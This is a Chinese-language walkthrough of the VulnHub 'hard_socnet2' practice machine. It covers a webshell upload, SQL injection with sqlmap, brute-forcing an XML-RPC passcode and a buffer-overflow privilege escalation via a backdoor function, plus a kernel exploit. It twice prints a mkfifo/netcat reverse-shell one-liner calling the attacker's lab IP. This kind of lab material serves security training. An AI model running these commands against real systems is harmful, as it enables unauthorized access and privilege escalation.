声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!
实战打靶系列第 05 篇文章
靶机地址:
https://download.vulnhub.com/boredhackerblog/hard_socnet2
acrpscan -l
靶机的ip:192.168.56.106
kali的ip:192.168.56.103
1、对靶机开放端口、运行的服务和操作系统进行探测
nmap -sV -sC -O -p- 192.168.56.106
靶机开放了22,80,8000三个端口,22跑的是OpenSSH的服务,80端口是apache的http服务,8000端口是python运行的一个BaseHTTPServer;
操作系统探测是Linux 3.2 - 4.9 。
2、通过浏览器去访问80,8000端口
访问8000端口,提示提交的方法不对,那么利用burp的批量化提交数据去探测是属于哪种方法
发现常见的6种都显示500或者501,那么说明8000端口的提交方式与平常的http请求的提交方式不同。
访问80端口,是一个登录框,有登录的选项也有注册的选项
因为这里有登录框,所以先不进行目录扫描;看到这个登录框,第一反应是弱口令,但是看到了Email,因为不知道邮箱的形式的,那么不得不放弃弱口令的选择。
看到有sign up的字眼,那么注册一个账号登录进去
登录进去后,发现这是一个类似留言功能的留言板,在下面的News Feed中,发现除了注册的用户,还有admin和testuser用户,并且admin提到一个关于monitor.py的监控服务
习惯性的发送一个“,发现没有任何报错信息
但是在Profile下发现可以进行上传文件地方,尝试进行获取shell
方法一:通过文件上传一句话木马,蚁剑连接获取shell
上传成功,在图片那么右键获取shell.php链接
使用蚁剑去连接,连接成功
方法二:sql注入
在上面的搜索框输入',发现有sql语句暴露出来,那么使用sqlmap进行自动化注入
使用sqlmap自动化注入,发现admin和testuser用户和各自的密码,但是登录之后,还是得使用文件上传获取初始shell,并且获取的shell和方法一的shell权限一样
在蚁剑端,将shell反弹到kali
可以使用nc串联
这里使用另外一种 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.56.103 3333 > /tmp/f
使用mkfifo堆栈的效果将shell反弹
反弹到kali之后,查看sudo -l,自动任务/etc/crontab,都没有可以利用的
当来到home下,发现有socnet用户,进去发现ls -la发现一个拥有suid和guid权限的文件,add_record
file add_record 查看一下文件的类型,发现是一个linux下的可执行文件
目光来到peda目录,这是一个python下的一个程序模块
在前面的留言中admin提到一个monitor.py文件,刚好在这个文件中,查看一下
发现引入了SimpleXMLRPCServer这个模块,并且这个服务开放在8000端口,这也就解释了前面为什么8000端口,用平常的http请求方法访问不了
代码审计:
通过循环去创建一个随机数及进行验证(但是这个随机数固定的,每次重启都会改变),然后去打开shell输入cmd参数执行
看到下面的函数,cpu等函数是查询靶机的各种信息,secure_cmd函数是可以传入自定义命令的,但是需要进行验证输入的passcode和前面产生的随机数是否相同,前面发现这个文件的属主是socnet,那么是否可以通过这个服务去提升权限
通过搜索引擎发现,这个服务的服务端和客户端的构建非常简单
尝试在本地搭建一个客户端去访问这个靶机中的8000端口的服务,先去访问cpu这个函数
返回了靶机的cpu信息
那么通过python的循环进行爆破出这个随机数
爆破出来passcode的数值是4644
既然知道随机数,那么编写反弹shell
执行python3 kehu.py
拿到sconet的shell
方法一:缓冲区溢出提权
python -c 'import pty;pty.spawn("/bin/bash")' 提高shell的交互性(也可以使用export TERM=xterm-color,但是在后面运行程序时的交互性不好)
find . -perm -u=s -type f 2>/dev/null 查看当前路径下suid文件
file add_record 查看一下文件的类型,发现是一个linux下的可执行文件(前面有查看)
对这个程序进行运行
运行这个程序,首先,会打印出Welcome to Add Record application Use it to add info about Social Network 2.0 Employees
然后进行一系列的输入,在当前目录下会创建一个employee_records.txt,用来保存输入的数据
在最后的Ever got in trouble中输入0,就直接跳出,输入1就会打印Explain,去输入数据,输入完之后,就会退出
了解了这个程序的工作流程,那么去测试是否有一些内存溢出的漏洞
在第一次提权中,有python的模块peda,peda模块中有一个gdb的命令,可以用来动态调试一个可执行文件的进程
使用gdb -q ./add_record (-q使用安静的模式运行,来测试是否有漏洞)
输入r 运行这个程序,使用300个A去测试每个可以输入的位置,看是否存在内存溢出
第一个位置,程序正常退出
第二个位置,程序也正常退出
第三、四个位置,程序仍然正常退出
来到第五个位置,也就是Ever got in trouble输入1之后,惊喜的发现不是正常退出了
在这里,发现堆栈被A所覆盖,也就是在Explain的位置,没有去做好内存范围的限定,导致在输入300个A的时候,覆盖到内存的其它位置。
那么,在测试一些内存溢出的漏洞时,要时常去观察,EIP寄存器的内容,因为EIP寄存器存放的是cpu下一个要进行操作的内存地址,在这里可以看到EIP的寄存器也被A所覆盖,这里的A具体是哪几个A,在这里目前不清楚,所以接下要去判断EIP中的A是具体的哪几个A,知道之后就可以在那些A的位置,添加要它执行的payload的内存地址,从而来提权。
使用200个A,100个A进行测试,缩小范围,确定EIP寄存器内容的位置、
200个A和100个A依然溢出,那么利用gdb去生成一段特征字符,有利于去精确的定位EIP中的4个A(100个A仍然溢出,证明EIP寄存器存放的内存地址在100A之中某个A的后面)
pattern create 100
然后将这个特征字符输入到上面有缓冲区溢出的位置
使用gdb去寻找这几个字符在具体的哪几个位置
pattern search
看到EIP的偏移量是62,也就是从63个字符开始,就会进入到EIP寄存器中
构造一段62个A加BCDE去判断寄存器的存放顺序,输入之后,仍然发生溢出,可以看到EIP寄存器存放的位置与BCDE的顺序相反,也就是等一下的payload也要相反
接下来,反编译main函数,(出现@plt的都是C语言的内嵌函数)
disas main
在这段汇编代码中,发现了自定义的函数vuln
查看这个应用中的具体函数
info function(info func也可以)
拉到最上面,发现了vuln和backdoor,那么这个bakdoor会不会是作者留在的一下后门,用来控制这个程序呢?还是说是作者给的提示,而且这里面还使用了system和setuid的函数,那么具体的去查看vuln和backdoor这两个函数
disas vuln 反编译vuln函数,看到一个strcpy函数的调用,通过搜索引擎的搜索,strcpy存在字符串溢出,那么可以初步判断,这个应用的缓冲区溢出,是由strcpy这个函数导致的
disas backdoor 反编译backdoor这个函数,可以发现里面调用了system和setuid的函数,那么需要去知道它调用这两个函数的作用
在刚才反编译main函数中,知道应用调用了vuln的函数,vuln调用了strcpy这个存在缓冲区溢出的函数,但是没有调用backdoor函数,那么去利用缓冲区溢出的漏洞,让vuln函数去调用backdoor函数,利用backdoor调用的system,setuid函数,去执行到system函数中的他要执行的操作系统的命令
将backdoor函数的起始地址加到EIP寄存器中,让backdoor函数执行,然后去观察它执行的系统命令,那么利用python生成一个payload(从上面可以知道EIP寄存器后面的内存地址在62个A之后)
r执行中,将payload导入,执行过后,提示有两个进程生成,有/bin/dash和/bin/bash加载
为什么回去产生着两个进程呢?下一个断点在vuln函数,在执行vuln函数后,单步执行(执行payload后的不好定位,重新进入gdb去调试,q退出gdb)
break vuln 下一个断点在vuln函数 s 单步执行
经历了很多步的跟进,看到了setuid函数,猜测前面的操作在申请权限
再一次经历一段时间的跟进,看到了system函数,并且在执行system函数之前,EAX的值为/bin/bash,在执行system的前面,出现了push eax,也就是system函数执行的系统命令是/bin/bash
那么也就是说利用payload让EIP去执行backdoor函数,然后执行系统函数,获得权限
cat payload - | ./add_record 将payload的内容全部输出给 ./add_record,完成提权.
可以再次通过反弹shell,得到一个更稳定的shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.56.103 3333 > /tmp/f
方法二:CVE-2021-3493(提权内核漏洞)
因为靶机是在作者20年搭建的,但是CVE-2021-3493实在21年出的漏洞,所以不符合作者的理念
下载exp,开启一个python服务,将exp下载到靶机中
使用gcc编译
gcc exploit.c -o exp
执行exp,提权成功
参考资料:
https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0